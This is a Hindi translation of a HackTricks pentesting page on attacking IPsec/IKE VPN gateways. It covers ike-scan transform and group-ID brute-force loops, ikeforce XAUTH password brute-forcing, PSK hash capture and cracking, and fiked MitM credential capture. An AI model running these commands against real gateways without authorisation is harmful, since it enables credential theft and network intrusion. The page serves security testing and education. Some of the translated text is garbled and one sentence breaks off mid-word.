500/udp - Pentesting IPsec/IKE VPN

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Try Hard सुरक्षा समूह


मौलिक जानकारी

IPsec को नेटवर्क (LAN-to-LAN) के बीच संचार को सुरक्षित बनाने के लिए मुख्य प्रौद्योगिकी के रूप में मान्यता प्राप्त है और दूरस्थ उपयोगकर्ताओं को नेटवर्क गेटवे (दूरस्थ पहुंच) से सुरक्षित करने के लिए, उद्यमी VPN समाधानों के लिए मूलभूत रूप से काम करता है।

दो बिंदुओं के बीच एक सुरक्षा संघटन (SA) की स्थापना IKE द्वारा प्रबंधित की जाती है, जो ISAKMP की छाती के तहत कार्य करता है, एक प्रोटोकॉल जो प्रमाणीकरण और कुंजी विनिमय के लिए डिज़ाइन किया गया है। यह प्रक्रिया कई चरणों में विकसित होती है:

  • चरण 1: दो अंतबिंदुओं के बीच एक सुरक्षित चैनल बनाया जाता है। इसे एक पूर्व-साझा कुंजी (PSK) या प्रमाणपत्रों का उपयोग करके प्राप्त किया जाता है, जिसमें मुख्य मोड, जिसमें तीन जोड़ों का संदेश शामिल है, या उत्कृष्ट मोड शामिल है।

  • चरण 1.5: यह चरण अनिवार्य नहीं है, इसे विस्तारित प्रमाणीकरण चरण के रूप में जाना जाता है, जो उपयोगकर्ता की पहचान की पुष्टि करता है जो कनेक्ट करने का प्रयास कर रहा है, उपयोगकर्ता नाम और पासवर्ड की आवश्यकता होती है।

  • चरण 2: यह चरण ESP और AH के साथ डेटा को सुरक्षित करने के पैरामीटरों की बातचीत के लिए समर्पित है। यह चरण चरण 1 में उपयोग किए गए एल्गोरिदम के अलावा अलग एल्गोरिदमों का उपयोग करने की अनुमति देता है ताकि पर्फेक्ट फॉरवर्ड सीक्रेसी (PFS) सुनिश्चित कर सके, सुरक्षा को बढ़ाते हुए।

डिफ़ॉल्ट पोर्ट: 500/udp

nmap का उपयोग करके सेवा की खोज करें

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

एक वैध परिवर्तन खोजना

IPSec कॉन्फ़िगरेशन केवल एक या कुछ परिवर्तन स्वीकार करने के लिए तैयार किया जा सकता है। एक परिवर्तन एक मानों का संयोजन है। प्रत्येक परिवर्तन में DES या 3DES जैसे एन्क्रिप्शन एल्गोरिथ्म, SHA या MD5 जैसे अखंडता एल्गोरिथ्म, पूर्व-साझा की गई कुंजी जैसे प्रमाणीकरण प्रकार, Diffie-Hellman 1 या 2 जैसे कुंजी **वितरण एल्गोर

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

जैसा कि आप पिछले जवाब में देख सकते हैं, एक फ़ील्ड है जिसे AUTH नाम से दिखाया गया है और इसका मान PSK है। इसका मतलब है कि vpn को एक पूर्व-साझा कुंजी का उपयोग करके कॉन्फ़िगर किया गया है (और यह एक पेंटेस्टर के लिए वास्तव में अच्छा है)। आखिरी पंक्ति का मान भी बहुत महत्वपूर्ण है:

  • 0 returned handshake; 0 returned notify: इसका मतलब है कि लक्ष्य एक आईपीसेक गेटवे नहीं है

  • 1 returned handshake; 0 returned notify: इसका मतलब है कि लक्ष्य आईपीसेक के लिए कॉन्फ़िगर किया गया है और आईके वार्ता करने के लिए तैयार है, और आपके प्रस्तावित एक या एक से अधिक ट्रांसफ़ॉर्म स्वीकारने योग्य हैं (एक मान्य ट्रांसफ़ॉर्म आउटपुट में दिखाया जाएगा)।

  • 0 returned handshake; 1 returned notify: VPN गेटवे उस समय एक सूचना संदेश के साथ प्रतिक्रिया करते हैं जब कोई भी ट्रांसफ़ॉर्म स्वीकारने योग्य नहीं है (हालांकि कुछ गेटवे ऐसा नहीं करते, जिसका मतलब यह है कि और विश्लेषण और एक संशोधित प्रस्ताव की कोशिश की जानी चाहिए)।

फिर, इस मामले में हमारे पास पहले से ही एक मान्य परिवर्तन है लेकिन यदि आप तीसरे मामले में हैं, तो आपको एक मान्य परिवर्तन खोजने के लिए थोड़ा सा ब्रूट-फ़ोर्स करना होगा:

सबसे पहले आपको सभी संभावित परिवर्तन बनाने होंगे:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

और फिर ike-scan का उपयोग करके प्रत्येक को ब्रूट-फोर्स करें (यह कई मिनट ले सकता है):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

अगर ब्रूट-फोर्स काम नहीं कर रहा है, तो शायद सर्वर मान्य ट्रांसफॉर्म के बिना हैंडशेक के बिना प्रतिक्रिया दे रहा है। फिर, आप एक ही ब्रूट-फोर्स का प्रयास कर सकते हैं लेकिन एग्रेसिव मोड का उपयोग करके:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Hopefully एक मान्य परिवर्तन वापस दिखाया जाएगा. You can try the same attack using iker.py. You could also try to brute force transformations with ikeforce:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

DH समूह: 14 = 2048-बिट MODP और 15 = 3072-बिट 2 = HMAC-SHA = SHA1 (इस मामले में)। --trans प्रारूप है $Enc,$Hash,$Auth,$DH

सिस्को इसका सुझाव देता है कि DH समूह 1 और 2 का उपयोग न करें क्योंकि वे पर्याप्त मजबूत नहीं हैं। विशेषज्ञ मानते हैं कि संसाधनों से भरपूर देश आसानी से इन कमजोर समूहों का उपयोग करते डेटा के एन्क्रिप्शन को तोड़ सकते हैं। इसे तेजी से कोड तोड़ने के लिए तैयार करने वाली एक विशेष विधि का उपयोग करके किया जाता है। यह विधि स्थापित करने में काफी पैसा खर्च करने के बावजूद, यह शक्तिशाली देशों को यदि यह एन्क्रिप्टेड डेटा पढ़ रहे हैं तो उसे वास्तविक समय में पढ़ने की अनुमति देता है अगर यह किसी मजबूत समूह का उपयोग नहीं कर रहा है (जैसे 1,024-बिट या छोटा)।

सर्वर फिंगरप्रिंटिंग

फिर, आप उस उपकरण के विक्रेता का पता लगाने के लिए ike-scan का उपयोग कर सकते हैं। यह उपकरण एक प्रारंभिक प्रस्ताव भेजता है और पुनरावृत्ति करना बंद कर देता है। फिर, यह सर्वर से प्राप्त संदेशों और मिलान जवाब पैटर्न के बीच समय अंतर का विश्लेषण करके, पेंटेस्टर वीपीएन गेटवे विक्रेता को सफलतापूर्वक फिंगरप्रिंट कर सकता है। इसके अतिरिक्त, कुछ वीपीएन सर्वर आईके के साथ वैकल्पिक विक्रेता आईडी (वीआईडी) पेलोड का उपयोग करेंगे।

आवश्यक होने पर मान्य परिवर्तन निर्दिष्ट करें (उपयोग करके --trans)

यदि आईके जांचता है कि विक्रेता कौन है तो यह उसे प्रिंट करेगा:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

यह भी nmap स्क्रिप्ट ike-version के साथ प्राप्त किया जा सकता है।

सही आईडी (समूह नाम) खोजना

हैश को कैप्चर करने की अनुमति प्राप्त करने के लिए आपको एक मान्य परिवर्तन की आवश्यकता है जो आग्रेसिव मोड का समर्थन करता है और सही आईडी (समूह नाम)। आप शायद मान्य समूह नाम नहीं जानेंगे, इसलिए आपको इसे ब्रूट-फोर्स करना होगा। इसे करने के लिए, मैं आपको 2 तरीके सुझाऊंगा:

ike-scan के साथ आईडी को ब्रूटफोर्स करना

सबसे पहले, एक नकली आईडी के साथ एक अनुरोध बनाने की कोशिश करें हैश जुटाने की कोशिश करें ("-P"):

ike-scan -P -M -A -n fakeID <IP>

यदि कोई हैश वापस नहीं आता है, तो संभावना है कि इस तरह का ब्रूट फोर्सिंग का तरीका काम करेगा। यदि कोई हैश वापस आता है, तो इसका मतलब है कि एक नकली हैश एक नकली आईडी के लिए भेजा जा रहा है, इसलिए यह तरीका आईडी को ब्रूट-फोर्स न करने के लिए विश्वसनीय नहीं होगा। उदाहरण के लिए, एक नकली हैश वापस भेजा जा सकता है (यह आधुनिक संस्करणों में होता है):

लेकिन जैसा कि मैंने कहा है, अगर कोई हैश वापस नहीं आता है, तो आपको ike-scan का उपयोग करके सामान्य समूह नामों को ब्रूट-फोर्स करने की कोशिश करनी चाहिए।

यह स्क्रिप्ट संभावित आईडी को ब्रूट-फोर्स करने की कोशिश करेगा और उन आईडी को वापस देगा जहां एक वैध हैंडशेक वापस आता है (यह एक वैध समूह नाम होगा)।

यदि आपने कोई विशिष्ट परिवर्तन खोज लिया है तो इसे ike-scan कमांड में जोड़ें। और यदि आपने कई परिवर्तन खोज लिए हैं तो उन सभी को प्रयास करने के लिए एक नया लूप जोड़ने का मुक्त है (आपको सभी को प्रयास करना चाहिए जब तक एक सही तरीके से काम न करने लगे)।

आप ikeforce की शब्दावली या seclists में एक सामान्य समूह नामों की शब्दावली का उपयोग कर सकते हैं।

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

ID को आईकेर के साथ ब्रूटफोर्सिंग

iker.py भी ike-scan का उपयोग करता है ताकि संभावित समूह नामों की ब्रूटफोर्सिंग कर सके। यह अपनी विधि का पालन करता है ike-scan के आउटपुट के आधार पर एक वैध आईडी खोजने के लिए

आईकेफोर्सिंग के साथ आईडी को ब्रूटफोर्सिंग

ikeforce.py एक उपकरण है जिसका उपयोग आईडी को ब्रूटफोर्स करने के लिए किया जा सकता है। यह उपकरण विभिन्न सुरक्षा दोषों का उपयोग करने की कोशिश करेगा जो एक वैध और एक अवैध आईडी के बीच भिन्नता कर सकते हैं (यह झूठे सकारात्मक और झूठे नकारात्मक हो सकते हैं, इसलिए मैं यदि संभव हो तो आईके-स्कैन विधि का उपयोग करने की प्राथमिकता देता हूं)।

डिफ़ॉल्ट रूप से ikeforce शुरुआत में कुछ यादृच्छिक आईडी भेजेगा ताकि सर्वर के व्यवहार की जांच कर सके और उपयुक्त तकनीक का निर्धारण कर सके।

  • पहली विधि समूह नामों को ब्रूटफोर्स करने के लिए डेड पीयर डिटेक्शन डीपीडी की जानकारी की खोज करना है Cisco सिस्टमों के लिए (यह जानकारी केवल तब सर्वर द्वारा पुनः भेजी जाती है जब समूह नाम सही होता है)।

  • उपलब्ध दूसरी विधि हर प्रयास पर भेजे गए प्रतिक्रियाओं की संख्या की जांच करती है क्योंकि कभी-कभी सही आईडी का उपयोग करने पर अधिक पैकेट भेजे जाते हैं।

  • तीसरी विधि गलत आईडी के प्रति प्रतिक्रिया में "अवैध आईडी जानकारी" की खोज करने का है।

  • अंततः, यदि सर्वर किसी भी जांच का कोई जवाब नहीं देता है, तो ikeforce सर्वर को ब्रूटफोर्स करने की कोशिश करेगा और जांचेगा कि सही आईडी भेजने पर सर्वर किसी पैकेट के साथ प्रतिक्रिया करता है।

स्पष्ट है कि आईडी को ब्रूटफोर्स करने का उद्देश्य एक वैध आईडी होने पर PSK प्राप्त करना है। फिर, आईडी और PSK के साथ आपको XAUTH को ब्रूटफोर्स करना होगा (यदि यह सक्षम है)।

यदि आपने कोई विशिष्ट परिवर्तन खोज लिया है तो आईकेफोर्स कमांड में उसे जोड़ें। और यदि आपने कई परिवर्तन खोज लिए हैं तो उन्हें सभी की जांच करने के लिए एक नया लूप जोड़ने के लिए स्वतंत्र महसूस करें (आपको सभी की जांच करनी चाहिए जब तक एक सही तरीके से काम कर रहा हो)।

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

स्निफ़िंग आईडी

(पुस्तक से नेटवर्क सुरक्षा मूल्यांकन: अपने नेटवर्क को जानें): VPN क्लाइंट और सर्वर के बीच कनेक्शन को स्निफ़ करके मान्य उपयोगकर्ता नाम प्राप्त करना भी संभव है, क्योंकि पहला एग्रेसिव मोड पैकेट जो क्लाइंट आईडी वाला होता है, वह साफ होता है।

हैश को कैप्चर और क्रैक करना

अंत में, अगर आपने एक मान्य परिवर्तन और समूह नाम पाया है और यदि एग्रेसिव मोड अनुमत है, तो आप बहुत आसानी से क्रैक करने योग्य हैश को पकड़ सकते हैं:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

हैश hash.txt फ़ाइल के अंदर सहेजा जाएगा।

आप psk-crack, john (using ikescan2john.py) और hashcat का उपयोग करके हैश को crack कर सकते हैं:

psk-crack -d <Wordlist_path> psk.txt

XAuth

आक्रामक मोड IKE को पूर्व-साझा कुंजी (PSK) के साथ सामान्यत: समूह प्रमाणीकरण के लिए प्रयोग किया जाता है। यह विधि XAuth (विस्तारित प्रमाणीकरण) द्वारा बढ़ाई जाती है, जो एक अतिरिक्त परत प्रमाणीकरण की एक तह लाती है। ऐसा प्रमाणीकरण सामान्यत: माइक्रोसॉफ्ट एक्टिव डायरेक्ट्री, RADIUS, या तुलनात्मक प्रणालियों का उपयोग करता है।

IKEv2 में परिभाषित होने पर, एक प्रमुख परिवर्तन देखा जाता है जहाँ EAP (विस्तारणीय प्रमाणीकरण प्रोटोकॉल) का उपयोग XAuth के स्थान पर उपयोग किया जाता है उपयोगकर्ताओं की प्रमाणीकरण के उद्देश्य से। यह परिवर्तन सुरक्षित संचार प्रोटोकॉलों में प्रमाणीकरण अभ्यासों में एक विकास को दर्शाता है।

स्थानीय नेटवर्क MitM क्रेडेंशियल कैप्चर करने के लिए

ताकि आप लॉगिन के डेटा को fiked का उपयोग करके कैप्चर कर सकें और देख सकें कि क्या कोई डिफ़ॉल्ट उपयोगकर्ता है (आपको IKE ट्रैफिक को स्निफ़ करने के लिए fiked पर पुनर्निर्देशित करने की आवश्यकता है, जो ARP स्पूफिंग के साथ किया जा सकता है, अधिक जानकारी)। Fiked एक VPN अंत-बिंदु के रूप में कार्य करेगा और XAuth क्रेडेंशियल को कैप्चर करेगा:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

IPSec का उपयोग करके MitM हमला करने का प्रयास करें और पोर्ट 500 पर सभी ट्रैफिक को ब्लॉक करें, यदि IPSec टनल स्थापित नहीं किया जा सकता है तो शायद ट्रैफिक साफ में भेजा जाएगा।

ikeforce के साथ XAUTH उपयोगकर्ता नाम और पासवर्ड की ब्रूट-फोर्सिंग

XAUTH (जब आप एक मान्य समूह नाम id और psk को जानते हैं) को ब्रूट फोर्स करने के लिए आप एक उपयोगकर्ता नाम या उपयोगकर्ता नामों की सूची और एक पासवर्ड की सूची का उपयोग कर सकते हैं:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

इस तरह, ikeforce यूजरनेम:पासवर्ड के प्रत्येक कॉम्बिनेशन का उपयोग करके कनेक्ट करने का प्रयास करेगा।

IPSEC VPN के साथ प्रमाणीकरण

काली में, VPNC का उपयोग IPsec टनल स्थापित करने के लिए किया जाता है। प्रोफाइल को निर्दिष्ट करने के लिए निर्देशिका /etc/vpnc/ में होनी चाहिए। आप इन प्रोफाइल्स को vpnc कमांड का उपयोग करके प्रारंभ कर सकते हैं।

निम्नलिखित कमांड और कॉन्फ़िगरेशन VPN कनेक्शन स्थापित करने की प्रक्रिया का वर्णन करते हैं:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

In this setup:

  • [VPN_GATEWAY_IP] को VPN गेटवे का वास्तविक IP पता से बदलें।

  • [VPN_CONNECTION_ID] को VPN कनेक्शन के लिए पहचानकर्ता से बदलें।

  • [VPN_GROUP_SECRET] को VPN के समूह गुप्त से बदलें।

  • [VPN_USERNAME] और [VPN_PASSWORD] को VPN प्रमाणीकरण क्रेडेंशियल्स से बदलें।

  • vpnc शुरू करते समय जिस प्रक्रिया आईडी को नियुक्त किया जाएगा, उसे [PID] प्रतीत करता है।

VPN को कॉन्फ़िगर करते समय, कृपया प्लेसहोल्डर की जगह वास्तविक, सुरक्षित मानों का उपयोग सुनिश्चित करें।

संदर्भ सामग्री

शोडन

  • port:500 IKE

Try Hard सुरक्षा समूह

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

  • यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में हो या HackTricks को PDF में डाउनलोड करें, तो सब्सक्रिप्शन प्लान्स देखें!

  • हमारे विशेष NFTs संग्रह, The PEASS Family खोजें

  • डिस्कॉर्ड समूह में शामिल हों 💬 (https://discord.gg/hRep4RUj7f) या टेलीग्राम समूह (https://t.me/peass) या हमें ट्विटर पर फॉलो करें 🐦 @carlospolopm

  • HackTricks और HackTricks Cloud github रेपो में PR जमा करके अपने हैकिंग ट्रिक्स साझा करें।

Last updated